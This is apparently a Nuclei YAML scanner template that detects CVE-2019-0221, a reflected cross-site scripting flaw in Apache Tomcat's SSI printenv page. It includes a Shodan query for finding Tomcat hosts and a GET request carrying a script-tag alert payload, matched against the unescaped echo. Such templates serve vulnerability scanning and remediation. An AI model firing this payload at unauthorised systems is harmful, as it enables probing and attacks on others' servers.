54 lines
1.8 KiB
YAML
54 lines
1.8 KiB
YAML
id: CVE-2019-0221
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info:
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name: Apache Tomcat - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: |
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Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
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remediation: |
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Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
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reference:
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- https://seclists.org/fulldisclosure/2019/May/50
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- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
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- https://www.exploit-db.com/exploits/50119
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- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-0221
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cwe-id: CWE-79
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epss-score: 0.01651
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epss-percentile: 0.86008
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cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: apache
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product: tomcat
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shodan-query: title:"Apache Tomcat"
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tags: apache,xss,tomcat,seclists,edb,cve,cve2019
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variables:
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payload: "<script>alert({{rand_int()}})</script>"
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http:
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- method: GET
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path:
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- "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
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- "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "QUERY_STRING_UNESCAPED={{payload}}"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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